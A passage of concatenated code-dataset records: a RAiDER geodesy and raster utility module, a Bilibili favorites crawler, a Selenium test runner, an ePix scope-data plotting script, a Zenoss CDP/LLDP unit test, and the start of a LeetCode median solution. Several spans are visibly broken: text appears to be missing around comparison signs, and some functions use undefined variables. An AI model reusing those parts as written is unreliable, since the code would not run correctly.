0.0000059*(cosd(2*lats))**2)\n Rmax = 6378137\n Rmin = 6356752\n Re = np.sqrt(1/(((cosd(lats)**2)/Rmax**2) + ((sind(lats)**2)/Rmin**2)))\n\n # Calculate Geometric Height, h\n h = (hts*Re)/(g/g0*Re - hts)\n return lla2ecef(lats, lons, h)\n\n\ndef big_and(*args):\n result = args[0]\n for a in args[1:]:\n result = np.logical_and(result, a)\n return result\n\n\ndef gdal_open(fname, returnProj = False):\n if os.path.exists(fname + '.vrt'):\n fname = fname + '.vrt'\n try:\n ds = gdal.Open(fname, gdal.GA_ReadOnly)\n except:\n raise RuntimeError('File {} could not be opened'.format(fname))\n proj = ds.GetProjection()\n\n val = []\n for band in range(ds.RasterCount):\n b = ds.GetRasterBand(band + 1) # gdal counts from 1, not 0\n d = b.ReadAsArray()\n try:\n ndv = b.GetNoDataValue()\n d[d==ndv]=np.nan\n except:\n print('NoDataValue attempt failed*******')\n pass\n val.append(d)\n b = None\n ds = None\n\n if len(val) > 1:\n data = np.stack(val)\n else:\n data = val[0]\n\n if not returnProj:\n return data\n else:\n return data, proj\n\n\ndef pickle_load(f):\n with open(f, 'rb') as fil:\n return pickle.load(fil)\n\ndef pickle_dump(o, f):\n with open(f, 'wb') as fil:\n pickle.dump(o, fil)\n\n\ndef writeArrayToRaster(array, filename, noDataValue = 0, fmt = 'ENVI', proj = None, gt = None):\n # write a numpy array to a GDAL-readable raster\n import gdal\n import numpy as np\n array_shp = np.shape(array)\n dType = array.dtype\n if 'complex' in str(dType):\n dType = gdal.GDT_CFloat32\n elif 'float' in str(dType):\n dType = gdal.GDT_Float32\n else:\n dType = gdal.GDT_Byte\n\n driver = gdal.GetDriverByName(fmt)\n ds = driver.Create(filename, array_shp[1], array_shp[0], 1, dType)\n if proj is not None:\n ds.SetProjection(proj)\n if gt is not None:\n ds.SetGeoTransform(gt)\n b1 = ds.GetRasterBand(1)\n b1.WriteArray(array)\n b1.SetNoDataValue(noDataValue)\n ds = None\n b1 = None\n\n\ndef writeArrayToFile(lats, lons, array, filename, noDataValue = -9999):\n '''\n Write a single-dim array of values to a file\n '''\n array[np.isnan(array)] = noDataValue\n with open(filename, 'w') as f:\n f.write('Lat,Lon,DEM_hgt_m\\n')\n for l, L, a in zip(lats, lons, array):\n f.write('{},{},{}\\n'.format(l, L, a))\n \n\ndef round_date(date, precision):\n import datetime\n # First try rounding up\n # Timedelta since the beginning of time\n datedelta = datetime.datetime.min - date\n # Round that timedelta to the specified precision\n rem = datedelta % precision\n # Add back to get date rounded up\n round_up = date + rem\n\n # Next try rounding down\n datedelta = date - datetime.datetime.min\n rem = datedelta % precision\n round_down = date - rem\n\n # It's not the most efficient to calculate both and then choose, but\n # it's clear, and performance isn't critical here.\n up_diff = round_up - date\n down_diff = date - round_down\n\n return round_up if up_diff < down_diff else round_down\n\n\ndef _least_nonzero(a):\n \"\"\"Fill in a flat array with the lowest nonzero value.\n \n Useful for interpolation below the bottom of the weather model.\n \"\"\"\n out = np.full(a.shape[:2], np.nan)\n xlim, ylim, zlim = np.shape(a)\n for x in range(xlim):\n for y in range(ylim):\n for z in range(zlim):\n val = a[x][y][z]\n if not np.isnan(val):\n out[x][y] = val\n break\n return out\n\n\ndef sind(x):\n \"\"\"Return the sine of x when x is in degrees.\"\"\"\n return np.sin(np.radians(x))\n\n\ndef cosd(x):\n \"\"\"Return the cosine of x when x is in degrees.\"\"\"\n return np.cos(np.radians(x))\n\n\ndef tand(x):\n \"\"\"Return degree tangent.\"\"\"\n return np.tan(np.radians(x))\n\n\ndef robmin(a):\n '''\n Get the minimum of an array, accounting for empty lists\n '''\n from numpy import nanmin as min\n try:\n return min(a)\n except ValueError:\n return 'N/A'\n\ndef robmax(a):\n '''\n Get the minimum of an array, accounting for empty lists\n '''\n from numpy import nanmax as max\n try:\n return max(a)\n except ValueError:\n return 'N/A'\n\n\ndef _get_g_ll(lats):\n '''\n Compute the variation in gravity constant with latitude\n '''\n #TODO: verify these constants. In particular why is the reference g different from self._g0?\n return 9.80616*(1 - 0.002637*cosd(2*lats) + 0.0000059*(cosd(2*lats))**2)\n\ndef _get_Re(lats):\n '''\n Returns the ellipsoid as a fcn of latitude\n '''\n #TODO: verify constants, add to base class constants? \n Rmax = 6378137\n Rmin = 6356752\n return np.sqrt(1/(((cosd(lats)**2)/Rmax**2) + ((sind(lats)**2)/Rmin**2)))\n\n\ndef _geo_to_ht(lats, hts, g0 = 9.80556):\n \"\"\"Convert geopotential height to altitude.\"\"\"\n # Convert geopotential to geometric height. This comes straight from\n # TRAIN\n # Map of g with latitude (I'm skeptical of this equation - Ray)\n g_ll = _get_g_ll(lats)\n Re = _get_Re(lats)\n\n # Calculate Geometric Height, h\n h = (hts*Re)/(g_ll/g0*Re - hts)\n\n return h\n\n\ndef padLower(invar):\n '''\n add a layer of data below the lowest current z-level at height zmin\n '''\n new_var = _least_nonzero(invar)\n return np.concatenate((new_var[:,:,np.newaxis], invar), axis =2)\n\n\ndef testArr(arr, thresh, ttype):\n '''\n Helper function for checking heights\n '''\n if ttype=='g':\n test = np.all(arr>thresh)\n elif ttype =='l':\n test = np.all(arr>> l = [1, 2, 3, 4]\n >>> list(chunked(l, 4))\n [[1], [2], [3], [4]]\n\n >>> l = [1, 2, 3]\n >>> list(chunked(l, 4))\n [[1], [2], [3], []]\n\n >>> l = [1, 2, 3, 4, 5, 6, 7, 8, 9, 10]\n >>> list(chunked(l, 4))\n [[1, 2, 3], [4, 5, 6], [7, 8, 9], [10]]\n\n \"\"\"\n import math\n chunksize = int(math.ceil(len(iterable) / n))\n return (iterable[i * chunksize:i * chunksize + chunksize]\n for i in range(n))\n\n\ndef makeDelayFileNames(time, los,outformat, weather_model_name, out):\n '''\n return names for the wet and hydrostatic delays\n '''\n str1 = time.isoformat() + \"_\" if time is not None else \"\"\n str2 = \"z\" if los is None else \"s\" \n str3 = 'td.{}'.format(outformat)\n hydroname, wetname = (\n '{}_{}_'.format(weather_model_name, dtyp) + str1 + str2 + str3\n for dtyp in ('hydro', 'wet'))\n\n hydro_file_name = os.path.join(out, hydroname)\n wet_file_name = os.path.join(out, wetname)\n return wet_file_name, hydro_file_name\n\n\ndef mkdir(dirName):\n try:\n os.mkdir(dirName)\n except FileExistsError: \n pass\n\ndef writeLL(time, lats, lons, llProj, weather_model_name, out):\n '''\n If the weather model grid nodes are used, write the lat/lon values\n out to a file\n '''\n from datetime import datetime as dt\n lonFileName = '{}_Lon_{}.dat'.format(weather_model_name, \n dt.strftime(time, '%Y_%m_%d_T%H_%M_%S'))\n latFileName = '{}_Lat_{}.dat'.format(weather_model_name, \n dt.strftime(time, '%Y_%m_%d_T%H_%M_%S'))\n\n mkdir('geom')\n\n writeArrayToRaster(lons, os.path.join(out, 'geom', lonFileName))\n writeArrayToRaster(lats, os.path.join(out, 'geom', latFileName))\n\n return latFileName, lonFileName\n\n\ndef checkShapes(los, lats, lons, hgts):\n '''\n Make sure that by the time the code reaches here, we have a\n consistent set of line-of-sight and position data. \n '''\n from utils.constants import Zenith\n test1 = hgts.shape == lats.shape == lons.shape\n try:\n test2 = los.shape[:-1] != hts.shape\n except:\n test2 = los is not Zenith\n\n if not test1 or test2:\n raise ValueError(\n 'I need lats, lons, heights, and los to all be the same shape. ' +\n 'lats had shape {}, lons had shape {}, '.format(lats.shape, lons.shape)+\n 'heights had shape {}, and los was not Zenith'.format(hts.shape))\n\n\ndef checkLOS(los, raytrace, Npts):\n '''\n Check that los is either: \n (1) Zenith,\n (2) a set of scalar values of the same size as the number \n of points, which represent the projection value), or\n (3) a set of vectors, same number as the number of points. \n '''\n from utils.constants import Zenith\n # los can either be a bunch of vectors or a bunch of scalars. If\n # raytrace, then it's vectors, otherwise scalars. (Or it's Zenith)\n if los is not Zenith:\n if raytrace:\n los = los.reshape(-1, 3)\n else:\n los = los.flatten()\n\n if los is not Zenith and los.shape[0] != Npts:\n raise RuntimeError('Found {} line-of-sight values and only {} points'\n .format(los.shape[0], Npts))\n return los\n\n\n\ndef readLLFromStationFile(fname):\n '''\n Helper fcn for checking argument compatibility\n '''\n try:\n import pandas as pd\n stats = pd.read_csv(fname)\n return stats['Lat'].values,stats['Lon'].values\n except:\n lats, lons = [], []\n with open(fname, 'r') as f:\n for i, line in enumerate(f): \n if i == 0:\n continue\n lat, lon = [float(f) for f in line.split(',')[1:3]]\n lats.append(lat)\n lons.append(lon)\n return lats, lons\n\n \ndef mangle_model_to_module(model_name):\n \"\"\"Turn an arbitrary string into a module name.\n\n Takes as input a model name, which hopefully looks like ERA-I, and\n converts it to a module name, which will look like erai. I doesn't\n always produce a valid module name, but that's not the goal. The\n goal is just to handle common cases.\n \"\"\"\n return 'models.' + model_name.lower().replace('-', '')\n\n\ndef gdal_trans(f1, f2, fmt = 'VRT'):\n '''\n translate a file from one location to another using GDAL\n '''\n ds1 = gdal.Open(f1)\n if ds1 is None:\n raise RuntimeError('Could not open the file {}'.format(f1))\n ds2 = gdal.Translate(f2, ds1, format = fmt)\n if ds2 is None:\n raise RuntimeError('Could not translate the file {} to {}'.format(f1, f2))\n ds1 = None\n ds2 = None\n\n\ndef isOutside(extent1, extent2):\n '''\n Determine whether any of extent1 lies outside extent2\n extent1/2 should be a list containing [lower_lat, upper_lat, left_lon, right_lon]\n '''\n t1 = extent1[0] < extent2[0]\n t2 = extent1[1] > extent2[1]\n t3 = extent1[2] < extent2[2]\n t4 = extent1[3] > extent2[3]\n if np.any([t1, t2, t3, t4]):\n return True\n return False\n\n\ndef getExtent(lats, lons=None):\n '''\n get the bounding box around a set of lats/lons\n '''\n if lons is None:\n ds = gdal.Open(lats, gdal.GA_ReadOnly)\n trans = ds.GetGeoTransform()\n # W E S N\n extent = [trans[0], trans[0] + ds.RasterXSize * trans[1],\n trans[3] + ds.RasterYSize*trans[5], trans[3]]\n if shrink is not None:\n delW, delE, delS, delN = shrink\n extent = [extent[0] + delW, extent[1] - delE, extent[2] + delS, extent[3] - delN]\n del ds\n return extent\n \n else:\n return [np.nanmin(lats), np.nanmax(lats), np.nanmin(lons), np.nanmax(lons)]\n\n\ndef setLLds(infile, latfile, lonfile):\n '''\n Use a lat/lon file to set the x/y coordinates of infile\n ''' \n from osgeo import gdal, osr\n ds = gdal.Open(infile, gdal.GA_ReadOnly)\n ds.SetMetadata({'X_DATASET': os.path.abspath(latfile), 'X_BAND': '1',\n 'Y_DATASET': os.path.abspath(lonfile), 'Y_BAND': '1'})\n\n srs = osr.SpatialReference()\n srs.ImportFromEPSG(4326)\n ds.SetProjection(srs.ExportToWkt())\n del ds \n\n","sub_path":"tools/RAiDER/util.py","file_name":"util.py","file_ext":"py","file_size_in_byte":15648,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"225966315","text":"import requests\nimport json\nimport os\n\n\ndef crawling(uid,path_collect_data):\n os.chdir(path_collect_data)\n # 请求头\n headers = {\n 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36'\n }\n\n # 第一次爬取: 获取所有收藏夹的id\n url = 'https://api.bilibili.com/x/v3/fav/folder/created/list-all'\n params = {\n 'up_mid': uid, # 写入自己账号的UID\n 'jsonp': 'jsonp',\n }\n response = requests.get(url=url, params=params, headers=headers)\n assign = response.json()\n with open('收藏夹id.json', 'w', encoding='utf-8')as fp:\n json.dump(assign, fp, ensure_ascii=False)\n print('收藏夹id爬取成功')\n\n # 第二次爬取: 获取收藏夹的json数据\n url = 'https://api.bilibili.com/x/v3/fav/resource/list'\n # 参数，还需要添加 pn 和 media_id 两个参数\n params = {\n 'ps': 20,\n 'keyword': '',\n 'order': 'mtime',\n 'type': 0,\n 'tid': 0,\n 'platform': 'web',\n 'jsonp': 'jsonp'\n }\n with open('收藏夹id.json', 'r', encoding='utf-8')as fp:\n file = json.load(fp)\n data = file['data']\n list = data['list']\n # 遍历所有的收藏夹\n for i in list:\n os.chdir(path_collect_data)\n path = i['title']\n\n if not os.path.exists(path):\n os.makedirs(path)\n\n os.chdir(path)\n\n # 开始第二次爬取\n params['pn'] = 1\n while (params['pn'] < (i['media_count'] / 20 + 1)):\n with open(i['title'] + str(params['pn']) + '.json', 'w', encoding='utf-8')as f:\n print('爬取中: 当前爬取'+os.getcwd()+str(params['pn']))\n params['media_id'] = i['id']\n result = requests.get(url=url, params=params, headers=headers)\n assign = result.json()\n json.dump(assign, f, ensure_ascii=False)\n params['pn'] += 1\n print('收藏夹'+i['title']+'信息爬取完毕!')\n print('所有收藏夹爬取完毕！！！')\n","sub_path":"crawling.py","file_name":"crawling.py","file_ext":"py","file_size_in_byte":2130,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"499541211","text":"# -*- coding: utf-8 -*-\nfrom selenium import webdriver\nfrom selenium.webdriver.common.by import By\nfrom selenium.webdriver.common.keys import Keys\nfrom selenium.webdriver.support.ui import Select\nfrom selenium.common.exceptions import NoSuchElementException\nfrom selenium.common.exceptions import NoAlertPresentException\nimport time, re\nfrom at_test_lib import * \nfrom datetime import datetime\n\nbrowser_driver = None\nglobal_browser = None\n\nimport unittest\n\t\t\t\t\t\t\n\nif __name__ == '__main__':\n\tparser = argparse.ArgumentParser()\n\tparser.add_argument('--browser', default='firefox',metavar='firefox',type=str,help='firefox/chrome/ie/opera/remote')\n\tparser.add_argument('--logroot', default=cur_dir()+'\\\\log\\\\',type=str,help='root of logfiles')\n\tparser.add_argument('--loglevel', default='info',type=str,help='debug/info/warning/error/critical')\n\tparser.add_argument('--pagetimeout', default=10,type=int,help='how long a page can load before considered timed-out')\n\tparser.add_argument('--base_url', default='www.autotrack.nl',type=str)\n\t\n\tparser.add_argument('--totalloops', type=int,default=1)\n\tparser.add_argument('--deeperloops', type=int,default=10)\n\tparser.add_argument('-v',action='store_true',help='unittest: Verbose output')\n\tparser.add_argument('-q',action='store_true',help='unittest: Quiet output')\n\tparser.add_argument('-f',action='store_true',help='unittest: Stop on first fail or error')\n\tparser.add_argument('-c',action='store_true',help='unittest: Catch ctrl-C and display results so far')\n\tparser.add_argument('-b',action='store_true',help='unittest: Buffer stdout and stderr during tests')\n\tparser.add_argument('-s',help=\"unittest: Directory to start discovery ('.' default)\")\n\tparser.add_argument('-p',help=\"unittest: Pattern to match tests ('test*.py' default)\")\n\tparser.add_argument('-t',help='unittest: Top level directory of project (defaults to start directory)')\n\tparser.add_argument('unittest_args', nargs='*')\n\t\t\t\t\t\t\n\targs = parser.parse_args()\n\n\t# TODO: Go do something with args\n\tlogroot = args.logroot\n\tglobal_browser = args.browser\n\tdeeperloops = args.deeperloops\n\ttotalloops = args.totalloops\n\tloglevel = logging.INFO\n\tif args.loglevel == 'critical' :\n\t\tloglevel = logging.CRITICAL\n\telif args.loglevel == 'error' :\n\t\tloglevel = logging.ERROR\n\telif args.loglevel == 'warning' :\n\t\tloglevel = logging.WARNING\t\t\n\telif args.loglevel == 'info' :\n\t\tloglevel = logging.INFO\n\telif args.loglevel == 'debug' :\n\t\tloglevel = logging.DEBUG\n\tlogging.getLogger().setLevel(loglevel)\n\t\t\n\ttry:\n\t\tpage_timeout = int(args.pagetimeout)\n\texcept:\n\t\tlogging_warning(\"pagetimeout in commandline is not numeric ('\"+args.pagetimeout+\"') setting to default 10\")\n\t\tpage_timeout = 10\n\tbase_url = 'http:////'+args.base_url\n\t\n\tunittest_arguments = []\n\tif args.v == True : unittest_arguments.append('-v')\n\tif args.q == True : unittest_arguments.append('-q') \n\tif args.f == True : unittest_arguments.append('-f')\n\tif args.c == True : unittest_arguments.append('-c')\n\tif args.b == True : unittest_arguments.append('-b')\n\tif args.s != None : \n\t\tunittest_arguments.append( '-s')\n\t\tunittest_arguments.append(args.s)\n\tif args.p != None : \n\t\tunittest_arguments.append( '-p')\n\t\tunittest_arguments.append(args.p)\n\tif args.t != None : \n\t\tunittest_arguments.append( '-t')\n\t\tunittest_arguments.append(args.t)\n\tfor arg in args.unittest_args:\n\t\tunittest_arguments.append(arg)\n\t\t\n\t# Now set the sys.argv to the unittest_args (leaving sys.argv[0] alone)\n\tsys.argv[1:] = unittest_arguments\n\n\tsetconfig('logroot', args.logroot)\n\tsetconfig('global_browser', args.browser)\n\tsetconfig('deeperloops', args.deeperloops)\n\tsetconfig('totalloops', args.totalloops)\n\tsetconfig('page_timeout', int(args.pagetimeout))\n\tsetconfig('base_url', 'http:////'+args.base_url)\n\n\tprint('Browser : '+str(args.browser))\n\tprint('logroot : '+str(args.logroot))\n\tprint('loglevel : '+str(args.loglevel))\n\tprint('page timeout : '+str(args.pagetimeout))\n\tprint('base_url : '+str(args.base_url))\n\tprint('total loops : '+str(args.totalloops))\n\tprint('deeper loops : '+str(args.deeperloops))\n\n\tsearchstring = ''\n\tif len(sys.argv) >= 2:\n\t\tsearchstring=sys.argv[1]\n\tsuite = unittest.TestLoader().discover(cur_dir() + '\\\\tests', pattern='test_'+str(searchstring)+'*.py', top_level_dir=None)\n\tunittest.TextTestRunner(verbosity=2).run(suite)\n\t# unittest.main()\n\t\n","sub_path":"at_test.py","file_name":"at_test.py","file_ext":"py","file_size_in_byte":4325,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"207517723","text":"#-----------------------------------------------------------------------------\n# Title : read images from file script\n#-----------------------------------------------------------------------------\n# File : read_image_from_file.py\n# Created : 2017-06-19\n# Last update: 2017-06-21\n#-----------------------------------------------------------------------------\n# Description:\n# Simple image viewer that enble a local feedback from data collected using\n# ePix cameras. The initial intent is to use it with stand alone systems\n#\n#-----------------------------------------------------------------------------\n# This file is part of the ePix rogue. It is subject to \n# the license terms in the LICENSE.txt file found in the top-level directory \n# of this distribution and at: \n# https://confluence.slac.stanford.edu/display/ppareg/LICENSE.html. \n# No part of the ePix rogue, including this file, may be \n# copied, modified, propagated, or distributed except according to the terms \n# contained in the LICENSE.txt file.\n#-----------------------------------------------------------------------------\n\nimport os, sys, time\nimport numpy as np\n#import ePixViewer.Cameras as cameras\n#import ePixViewer.imgProcessing as imgPr\n# \nimport matplotlib \nmatplotlib.use('QT4Agg')\nimport matplotlib.pyplot as plt\nimport h5py\n\n#matplotlib.pyplot.ion()\nNUMBER_OF_PACKETS_PER_FRAME = 1\n#MAX_NUMBER_OF_FRAMES_PER_BATCH = 1500*NUMBER_OF_PACKETS_PER_FRAME\nMAX_NUMBER_OF_FRAMES_PER_BATCH = -1\n\n\n##################################################\n# Global variables\n##################################################\nPLOT_SET_HISTOGRAM = False\nPLOT_ADC_VS_N = True\n\n##################################################\n# Dark images\n##################################################\n#if (len(sys.argv[1])>0):\n# filename = sys.argv[1]\n#else:\n#filename = '/data/cryoData/backend/pulse_pseudoScope.dat'\nfilename = '/data/cryoData/coldMeasurements/singleChRamp.dat'\nfilename = '/data/cryoData/frontend/atest_pulser_test_analogMonitor_and_image.dat'\nfilename = '/data/cryoData/EXO_Lab/Full_Chain/Pulser_Linearity/Pulser_lin_Ch_0_8_3f_37_0x13ad_t3p6u_g3x0.dat'\nf = open(filename, mode = 'rb')\n\nfile_header = [0]\nnumberOfFrames = 0\npreviousSize = 0\nwhile ((len(file_header)>0) and ((numberOfFrames>24)==2: #image packet only, 2 mean scope data\n if (numberOfFrames == 0):\n allFrames = [newPayload.copy()]\n else:\n newFrame = [newPayload.copy()]\n allFrames = np.append(allFrames, newFrame, axis = 0)\n numberOfFrames = numberOfFrames + 1 \n previousSize = file_header\n \n if (numberOfFrames%5000==0):\n print(\"Read %d frames\" % numberOfFrames)\n\n except Exception: \n e = sys.exc_info()[0]\n #print (\"Message\\n\", e)\n print(\"End of file.\")\n print ('size', file_header, 'previous size', previousSize)\n print(\"numberOfFrames read: \" ,numberOfFrames)\n\n\n\n##################################################\n#from here on we have a set of traces to work with\n##################################################\nnp.savetxt(os.path.splitext(filename)[0] + \"_traces\" + \".csv\", allFrames, fmt='%d', delimiter=',', newline='\\n')\n\n#%%\nif PLOT_ADC_VS_N :\n \n # All single and all traces\n plt.figure(1)\n plt.subplot(211)\n plt.title('ADC value - single trace')\n plt.plot(allFrames[1,20:-20])\n\n plt.subplot(212)\n plt.plot(np.transpose(allFrames[:, 20:-20]))\n plt.title('ADC value - all traces')\n plt.show()\n\n \n\n#%%\ntestSignal = allFrames[1]\nprint(testSignal[20:30])\nvhex = np.vectorize(hex)\nprint(vhex(testSignal[20:30]))\nLSBArray = np.bitwise_and(testSignal,255)\nMSBArray = np.bitwise_and(testSignal,65280)\n#print(vhex(LSBArray[20:30]))\n#print(vhex(MSBArray[20:30]))\nnewSignal = MSBArray[0:-1] + LSBArray[1:]\nnewSignal2 = MSBArray[1:] + LSBArray[0:-1]\ndifSignal = testSignal[:-1] - newSignal\nprint(vhex(newSignal[20:30]))\n\nif PLOT_ADC_VS_N :\n plt.figure(2)\n plt.subplot(311)\n plt.title('ADC value - single trace')\n plt.plot(testSignal[20:-20])\n\n plt.subplot(312)\n plt.plot(np.transpose(newSignal[20:-20]))\n plt.title('ADC value - all traces')\n\n plt.subplot(313)\n plt.plot(np.transpose(newSignal2[20:-20]))\n plt.title('ADC value - all traces')\n \n plt.show()\n#%%\nallFramesInVolts = allFrames[:,20:-20]*(-2.5/16384)+2.5\nif PLOT_ADC_VS_N :\n \n # All single and all traces\n plt.figure(1)\n plt.subplot(211)\n plt.title('ADC value - single trace')\n plt.plot(allFramesInVolts[1])\n\n plt.subplot(212)\n plt.plot(np.transpose(allFramesInVolts))\n plt.title('ADC value - all traces')\n plt.show()\n \n#%%\nmaxValues = np.max(allFramesInVolts,1)\nif PLOT_ADC_VS_N :\n \n # All single and all traces\n plt.figure(1)\n plt.subplot(211)\n plt.title('ADC value - single trace')\n plt.plot(maxValues[0:666])\n\n plt.subplot(212)\n plt.plot(np.transpose(allFramesInVolts[112,0:1023]))\n plt.plot(np.transpose(allFramesInVolts[300,0:1023]))\n plt.plot(np.transpose(allFramesInVolts[484,0:1023]))\n plt.title('ADC value - all traces')\n plt.show()\n \n \n#%%\n# the histogram of the data\ncentralValue = 0\nif PLOT_SET_HISTOGRAM :\n nbins = 100\n EnergyTh = -50\n n = np.zeros(nbins)\n for i in range(0, imgDesc.shape[0]):\n # n, bins, patches = plt.hist(darkSub[5,:,:], bins=256, range=(0.0, 256.0), fc='k', ec='k')\n # [x,y] = np.where(darkSub[i,:,32:63]>EnergyTh)\n # h, b = np.histogram(darkSub[i,x,y], np.arange(-nbins/2,nbins/2+1))\n # h, b = np.histogram(np.average(darkSub[i,:,5]), np.arange(-nbins/2,nbins/2+1))\n dataSet = darkSub[i,:,5]\n h, b = np.histogram(np.average(dataSet), np.arange(centralValue-nbins/2,centralValue+nbins/2+1))\n n = n + h\n\n plt.bar(b[1:nbins+1],n, width = 0.55)\n plt.title('Histogram')\n plt.show()\n\n\n\n\n\n\n\n\n\n \n\n\n","sub_path":"software/scripts/imgProc/read_scope_data_from_file_v2.py","file_name":"read_scope_data_from_file_v2.py","file_ext":"py","file_size_in_byte":6499,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"409439115","text":"##############################################################################\n#\n# Copyright (C) Zenoss, Inc. 2015, all rights reserved.\n#\n# This content is made available according to terms specified in\n# License.zenoss under the directory where your Zenoss product is installed.\n#\n##############################################################################\n\nfrom mock import Mock, sentinel\n\nfrom Products.ZenTestCase.BaseTestCase import BaseTestCase\n\nfrom ZenPacks.zenoss.Layer2.modeler.plugins \\\n .zenoss.snmp.CDPLLDPDiscover import _extract_cdp_lldp_maps\n\ncdpCacheEntry1 = {\n '10648.28': {\n 'cdpCacheAddress': '\\nW\\xfe\\x07',\n 'cdpCacheAddressType': 1,\n 'cdpCacheDeviceId': '08cc6843e573',\n 'cdpCacheDevicePort': 'gi52',\n 'cdpCacheNativeVLAN': 1,\n 'cdpCachePlatform': 'asdf'\n },\n}\n\nlldpRemEntry1 = {\n '0.100.22': {\n 'lldpRemPortDesc': '',\n 'lldpRemPortId': 'gi52',\n 'lldpRemSysDesc': '',\n 'lldpRemSysName': 'asdf'\n },\n}\n\ncdpCacheEntry2 = {\n '68.4': {\n 'cdpCachePlatform': 'N5K-C56128P',\n 'cdpCacheAddressType': 1,\n 'cdpCacheDevicePort': 'Ethernet1/34',\n 'cdpCacheNativeVLAN': 1,\n 'cdpCacheDeviceId': 'PVH00ADS02(FOC2048R0QV)',\n 'cdpCacheAddress': '\\n\\xd4\\x01\\x05'\n },\n '61.3': {\n 'cdpCachePlatform': 'N5K-C56128P',\n 'cdpCacheAddressType': 1,\n 'cdpCacheDevicePort': 'Ethernet1/34',\n 'cdpCacheNativeVLAN': 1,\n 'cdpCacheDeviceId': 'PVH00ADS01(FOC2048R0MF)',\n 'cdpCacheAddress': '\\n\\xd4\\x01\\x04'\n },\n}\n\nlldpRemEntry2 = {\n '0.60.2': {\n 'lldpRemSysName': 'PVH00ADS02',\n 'lldpRemSysDesc': 'Cisco NX-OS(tm) n6000, Software (n6000-uk9), Version 7.3(7)N1(1), RELEASE SOFTWARE Copyright (c) 2002-2012, 2016-2017 by Cisco Systems, Inc. Compiled 1/26/2020 22:00:00',\n 'lldpRemPortDesc': 'Ethernet1/34',\n 'lldpRemPortId': 'Eth1/34'\n },\n '0.3.10': {\n 'lldpRemSysName': 'AVX080739',\n 'lldpRemSysDesc': '',\n 'lldpRemPortDesc': '',\n 'lldpRemPortId': '\\xa0\\t\\xed\\x08\\x079'\n },\n '0.53.1': {\n 'lldpRemSysName': 'PVH00ADS01',\n 'lldpRemSysDesc': 'Cisco NX-OS(tm) n6000, Software (n6000-uk9), Version 7.3(7)N1(1), RELEASE SOFTWARE Copyright (c) 2002-2012, 2016-2017 by Cisco Systems, Inc. Compiled 1/26/2020 22:00:00',\n 'lldpRemPortDesc': 'Ethernet1/34',\n 'lldpRemPortId': 'Eth1/34'\n },\n '0.5.9': {\n 'lldpRemSysName': '',\n 'lldpRemSysDesc': '',\n 'lldpRemPortDesc': '',\n 'lldpRemPortId': '\\xc44k{\\xbe\\xd3'\n },\n '0.6.11': {\n 'lldpRemSysName': '',\n 'lldpRemSysDesc': '',\n 'lldpRemPortDesc': '',\n 'lldpRemPortId': '\\xdcJ>\\x8b\\xf4\\xd5'\n },\n '0.1.4': {\n 'lldpRemSysName': '',\n 'lldpRemSysDesc': '',\n 'lldpRemPortDesc': '',\n 'lldpRemPortId': '\\x88Q\\xfb?a\\x95'\n },\n '0.4.7': {\n 'lldpRemSysName': 'AVX081116',\n 'lldpRemSysDesc': '',\n 'lldpRemPortDesc': '',\n 'lldpRemPortId': '\\xa0\\t\\xed\\x08\\x11\\x16'\n },\n '0.2.8': {\n 'lldpRemSysName': 'AVXB0C617',\n 'lldpRemSysDesc': '',\n 'lldpRemPortDesc': '',\n 'lldpRemPortId': '\\xd4xV\\xb0\\xc6\\x17'\n },\n}\n\n\nclass TestCDPLLDPDiscover(BaseTestCase):\n\n def test_extraction_of_both(self):\n res = _extract_cdp_lldp_maps({\n 'cdpCacheEntry': cdpCacheEntry1,\n 'lldpRemEntry': lldpRemEntry1\n })\n self.assertEqual(sorted(res), [{\n 'description': '',\n 'device_port': 'gi52',\n 'id': 'lldp_0.100.22',\n 'title': 'asdf'\n }, {\n 'description': '',\n 'device_port': 'gi52',\n 'id': 'cdp_10648.28',\n 'ip_address': '10.87.254.7',\n 'location': '',\n 'native_vlan': 1,\n 'title': 'asdf'\n }])\n\n def test_cdp(self):\n res = _extract_cdp_lldp_maps({\n 'cdpCacheEntry': cdpCacheEntry1,\n })\n self.assertEqual(res, [{\n 'description': '',\n 'device_port': 'gi52',\n 'id': 'cdp_10648.28',\n 'ip_address': '10.87.254.7',\n 'location': '',\n 'native_vlan': 1,\n 'title': 'asdf'\n }])\n\n def test_lldp(self):\n res = _extract_cdp_lldp_maps({\n 'lldpRemEntry': lldpRemEntry1\n })\n self.assertEqual(res, [{\n 'description': '',\n 'device_port': 'gi52',\n 'id': 'lldp_0.100.22',\n 'title': 'asdf'\n }])\n\n def test_hex_lldp_rem_port_id_encoding(self):\n res = _extract_cdp_lldp_maps({\n 'lldpRemEntry': lldpRemEntry2,\n 'cdpCacheEntry': cdpCacheEntry2,\n })\n\n self.assertEqual(res[5], {\n 'description': '',\n 'device_port': 'a009ed080739',\n 'id': 'lldp_0.3.10',\n 'title': 'AVX080739'\n }\n )\n\n\ndef test_suite():\n from unittest import TestSuite, makeSuite\n suite = TestSuite()\n suite.addTest(makeSuite(TestCDPLLDPDiscover))\n return suite\n","sub_path":"ZenPacks/zenoss/Layer2/tests/test_cdp_lldp_discover.py","file_name":"test_cdp_lldp_discover.py","file_ext":"py","file_size_in_byte":5154,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"209079840","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Tue May 16 09:54:22 2017\n\n@author: harvey\n\"\"\"\n\n#给两个整型的有序数组，要求找出这两个数组中的中位数，时间复杂度为O(log(m+n))。\n\n#即两个数组合并后的中位数，合并过程中，重复元素保留；\n#若合并后的数组有奇数个元素，则直接输出中位数；\n#若合并后的数组有偶数个元素，则输出中间两个数的平均值\n\n#整体思路类似于在一个无序数组内找最小的k个数。我们通过两个数组各自的中位\n#数将两个数组A、B分为四个部分，分别为A1、A2、B1、B2。现在我们来找出他们\n#中第k小的数。如果A的中位数比B的中位数大，那么B1中的数比A2和B2中的都\n#小，且小于部分A1中的数。此时，如果k>len(A1)+len(B1)，那么第k个数就不可能\n#在B1，因为比B1的数小的数最多只有B1加上部分的A1，也就是klen(A1)+len(B1)，矛盾。同理可以推理出另外两种情况。\n\nclass Solution(object):\n def 